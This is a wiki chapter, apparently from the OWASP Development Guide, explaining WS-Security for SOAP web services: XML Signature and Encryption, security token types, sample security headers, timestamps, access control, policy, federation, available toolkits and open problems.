SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges – the communications must either happen over secure channels, or use protection mechanisms described later in this chapter.

===XML security specifications (XML-dsig & Encryption) ===

XML Signature (XML-dsig, see http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/), and XML Encryption (XML-enc, see http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them.

The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.

However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.

===Security specifications ===

In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations.

One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way.

A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as “Web Services Roadmap”. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.

==WS-Security Standard ==

WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a “Roadmap”, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.
[[category:FIXME | outdated info? is it complete now?]]

===Organization of the standard ===

The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are:

* Ways to add security headers (WSSE Header) to SOAP Envelopes

* Attachment of security tokens and credentials to the message

* Inserting a timestamp

* Signing the message

* Encrypting the message

* Extensibility

Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token.

[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]

===Purpose ===

The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.

From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.

==WS-Security Building Blocks ==

The WSS standard actually consists of a number of documents – one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.

Core WSS 1.1 specification, located at http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf, defines several types of security tokens (discussed later in this section – see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers – see the XML Dsig section for more details about their general structure.

Associated specifications are:

* Username token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf, which adds various password-related extensions to the basic UsernameToken from the core specification

* X.509 token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document

* SAML Token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf that specifies how XML-based SAML tokens can be inserted into WSS headers.

* Kerberos Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf that defines how to encode Kerberos tickets and attach them to SOAP messages.

* Rights Expression Language (REL) Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.

* SOAP with Attachments (SWA) Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf that describes how to use WSS-Sec with SOAP Messages with Attachments.

===How data is passed ===

WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:

''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''

After encoding a binary element, an attribute with the algorithm’s identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.

===Security header’s structure ===

A security header in a message is used as a sort of an envelope around a letter – it seals and protects the letter, but does not care about its content. This “indifference” works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.

A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present – so, the minimalist header with an empty message will look like:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">

</wsse:Security>
</soap:Header>
<soap:Body>

</soap:Body>
</soap:Envelope>

However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">
<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi...
</wsse:BinarySecurityToken>
<xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
<dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
<xenc:CipherData>
<xenc:CipherValue>Nb0Mf...</xenc:CipherValue>
</xenc:CipherData>
<xenc:ReferenceList>
<xenc:DataReference URI="#aDNa2iD"/>
</xenc:ReferenceList>
</xenc:EncryptedKey>
<wsse:SecurityTokenReference wsu:Id="aZG0sG">
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier>
</wsse:SecurityTokenReference>
<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>
<wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">
<wsu:Created>2005-01-27T16:46:10Z</wsu:Created>
<wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>
</wsu:Timestamp>
<dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7">
<dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22">
...
<dsig:Reference URI="#s91397860">
...
<dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue>
</dsig:Reference>
</dsig:SignedInfo>
<dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue>
<dsig:KeyInfo>
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
</dsig:Signature>
</wsse:Security>
</soap:Header>
<soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860">
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>
<xenc:CipherData>
<xenc:CipherValue>XFM4J6C...</xenc:CipherValue>
</xenc:CipherData>
</xenc:EncryptedData>
</soap:Body>
</soap:Envelope>

===Types of tokens ===

A WSS Header may have the following types of security tokens in it:

* Username token

Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash:

''Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )''

* Binary token

They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.

'' <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">''

'' MIICtzCCAi...''

'' </wsse:BinarySecurityToken>''

* XML token

These are meant for any kind of XML-based tokens, but primarily – for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.

'' <saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">''

'' ... ''

'' </saml:Assertion>''

Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure message’s freshness. See the further reading section for a design pattern on this.

===Referencing message parts ===

In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the message’s XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.

WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:

'' <wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22">''

'' <wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz">''

'' 1106844369755''

'' </wsse:KeyIdentifier>''

'' </wsse:SecurityTokenReference>''

As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types – Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.

==Communication Protection Mechanisms ==

As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.
[[Category:FIXME|Please check the reference (see 0)]]

===Integrity ===

WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.

In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the “natural” order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.

===Confidentiality ===

For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted element’s data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipient’s public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Freshness ===

SOAP messages’ freshness is addressed via timestamp mechanism – each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this “single timestampt” approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) – this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.

==Access Control Mechanisms ==

When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves – they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints.

For more complete description of access control tasks, please, refer to other sections of this Development Guide.

===Identification ===

Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be.

WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiver’s job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.
[[Category:FIXME|Please check the reference (see 0)]]

===Authentication ===

Authentication can come in two flavors – credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain user’s identity along with the proof of its integrity.

WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web Service’s discretion. Whether it takes the supplied username and password’s hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store – at the moment, there are no requirements or standards which would dictate that it should be done one way or another.

===Authorization ===

XACML may be used for expressing authorization rules, but its usage is not Web Service-specific – it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well.

Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.

===Policy Agreement ===

Normally, Web Services’ communication is based on the endpoint’s public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpoint’s security requirements.

To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them – for security, WS-SecurityPolicy.

If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity.

[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]

Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Services’ security infrastructure is not a complete black box.

==Forming Web Service Chains ==

Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process.

[[Image:Service Chain.gif|Figure 6: Service chain]]

This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them – security concerns about publicly exposing processing functions to intra- or Internet-based clients.

Here are just a few of the issues that hamper Web Services interaction – incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging users’ attributes. These issues will be briefly tackled in the following paragraphs.

===Incompatible user access control models ===

As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.
[[Category:FIXME|Please check the reference (see 0)]]

===Service trust ===

In order to establish mutual trust between client and service, they have to satisfy each other’s policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each other’s identities prior to engaging in a conversation.

===Secure connections ===

Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a client’s session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Synchronization of user directories ===

This is a very acute problem when dealing with cross-domain applications, as users’ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust user’s claim that he has been already authenticated in domain A? There exist different aspects of this problem. First – a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user.

===Domain federation ===

Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customers’ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LA’s website does list some case studies of large-scale projects.

==Available Implementations ==

It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges – it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.

===.NET – Web Service Extensions ===

Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still “work in progress”. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas.

Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures.

This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-Security’s and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said – WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.

===Java toolkits ===

Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc – such as IBM’s XML Security Suite and Apache’s XML Security Java project. Java’s JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed.

Moving one level up, to address Web Services themselves, the picture becomes muddier – at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.

A popular choice among Web Service developers today is Sun’s JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web Service’s implementation.

===Hardware, software systems ===

This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand – its usage model is rigidly constrained by the solution’s architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products… or to shoot themselves in the foot by applying them inappropriately.

These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.

Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity – a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.

For hardware systems, performance is the key – they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however – this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.

==Problems ==

As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.

===Immaturity of the standards ===

Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field.

Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.
[[Category:FIXME|Please check the reference (see 0)]]

===Performance ===

XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success.

Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least – not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution – they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.

===Complexity and interoperability ===

As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions.

In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standard’s bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-I’s Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.

===Key management ===

Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.

==Further Reading ==

* SearchSOA, SOA needs practical operational governance, Toufic Boubez

http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698

* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs

http://layer7tech.com/new/library/custompage.html?id=4

* eBizQ, The Challenges of SOA Security, Peter Schooff

http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php

* Piliptchouk, D., WS-Security in the Enterprise, O’Reilly ONJava

http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html

http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html

* WS-Security OASIS site

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

* Microsoft, ''What’s new with WSE 3.0''

http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp

* Eoin Keary, Preventing DOS attacks on web services

https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices
[[category:FIXME | broken link]] 

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Web Services]]

Web Services

2009-04-26T11:46:11Z

KirstenS: /* Security header’s structure */

